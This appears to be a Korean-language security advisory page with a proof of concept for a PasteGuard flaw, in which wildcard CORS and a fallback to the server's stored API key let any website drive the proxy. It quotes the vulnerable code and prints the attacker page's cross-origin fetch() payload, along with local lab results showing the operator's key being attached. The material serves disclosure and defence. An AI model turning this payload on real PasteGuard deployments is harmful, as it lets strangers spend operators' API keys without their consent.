pasteguard-PoC — PoC — PasteGuard에서 구성된 공급자 API 키의 교차 출처 프록시 악용 (GHSA-q94x-p9rc-q89f, CVE-2026-86998, CVSS 7.6). | Kitploit

src/index.ts:40-45 — const corsMiddleware = cors(); (옵션 없는 Hono의 cors()는 기본적으로 Access-Control-Allow-Origin: *로 설정됨)가 app.use("*", ...)를 통해 모든 것에 적용되며, /dashboard와 /dashboard/*에만 명시적으로 예외가 있습니다. 바로 위의 주석(src/index.ts:34-39)은 작성자가 대시보드 CORS 노출에 대해 신중하게 추론했지만 그 아래의 프록시 라우트에는 동일한 추론을 확장하지 않았음을 보여줍니다.
src/config.ts:153 — host: z.string().default("0.0.0.0"), config.example.yaml:13에서 실제로 확인됨. 프록시는 기본적으로 루프백뿐만 아니라 모든 인터페이스에서 수신 대기하므로 운영자의 브라우저뿐만 아니라 LAN에서도 접근할 수 있습니다.
src/providers/openai/client.ts:48-53:
```
// Use client's auth header if provided, otherwise fall back to config
if (authHeader) {
  headers.Authorization = authHeader;
} else if (config.api_key) {
  headers.Authorization = `Bearer ${config.api_key}`;
}
```
들어오는 요청에 Authorization 헤더가 없으면 PasteGuard는 자체 서버 보유 providers.openai.api_key를 나가는 요청에 조용히 첨부합니다. config.example.yaml:22-24는 이를 "Apps & APIs" 사용 사례를 위한 의도적인 편의 기능("클라이언트가 인증 헤더를 보내지 않을 경우 선택적 폴백")으로 문서화합니다.
src/providers/anthropic/client.ts:37-61은 /anthropic/v1/messages에 대해 동일한 폴백 패턴을 구현합니다(x-api-key/Authorization이 config.api_key로 폴백) — 동일한 근본 원인의 형제 사례로 확인되었으나, 독립적으로 종단 간 재검증되지는 않았습니다(아래 PoC 범위 참조).

config.yaml을 providers.openai.base_url: http://127.0.0.1:9091(모의 업스트림) 및 providers.openai.api_key: "sk-VICTIM-SECRET-DO-NOT-LEAK-12345", pii_detection.enabled: false(모의 탐지기 /health만, 전체 GLiNER 모델 서비스를 필요로 하지 않기 위해), secrets_detection.enabled: false로 구성했습니다. bun run src/index.ts로 PasteGuard를 시작하고 /health → 200을 확인했습니다.
127.0.0.1:9091에서 수신하는 Authorization 헤더를 기록하는 모의 업스트림(mock_upstream.py)을 시작했습니다.
실제로 다른 출처인 http://127.0.0.2:8001/attack.html(Chrome의 사이트 격리 규칙에 따라 다른 리터럴 루프백 IP — 동일 출처 localhost 테스트가 아님)에서 python3 -m http.server 8001 --bind 127.0.0.2를 통해 실제 공격자 페이지를 제공했습니다. 페이지가 로드 시 수행하는 유일한 동작:
```
fetch("http://127.0.0.1:3000/openai/v1/chat/completions", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ model: "gpt-4o-mini", messages: [{ role: "user", content: "cross-origin drive-by call, attacker supplied NO api key" }] })
}).then(r => r.json()).then(data => { /* render on page */ });
```
실제 Chrome 인스턴스(Chrome DevTools Protocol)를 http://127.0.0.2:8001/attack.html로 구동했습니다. DevTools 네트워크 검사를 통해 확인:
- 요청: origin: http://127.0.0.2:8001, sec-fetch-site: cross-site, 공격자 페이지가 보낸 Authorization 헤더 없음.
- 응답: access-control-allow-origin: *, HTTP 200, JSON 본문이 공격자 페이지의 JS에 의해 완전히 읽힘.
- 페이지 렌더링: "CROSS-ORIGIN READ SUCCEEDED. Response body visible to attacker JS: ..." — 스크린샷: ../evidence/cross_origin_csrf_success.png.
- 해당 정확한 요청에 대한 모의 업스트림 로그: RECEIVED AUTH HEADER: Bearer sk-VICTIM-SECRET-DO-NOT-LEAK-12345 — PasteGuard가 공격자 페이지가 알지도 못하고 제공하지도 않은 운영자의 실제 구성된 키를 서버 측에서 첨부했음을 증명합니다.

연구자	Dostxodjayev Abdullox (@squeeze440)
권고	GHSA-q94x-p9rc-q89f
CVSS 3.1	7.6 (높음)
취약점	CWE-352, CWE-942

pasteguard-PoC

인기

PasteGuard: 보안 권고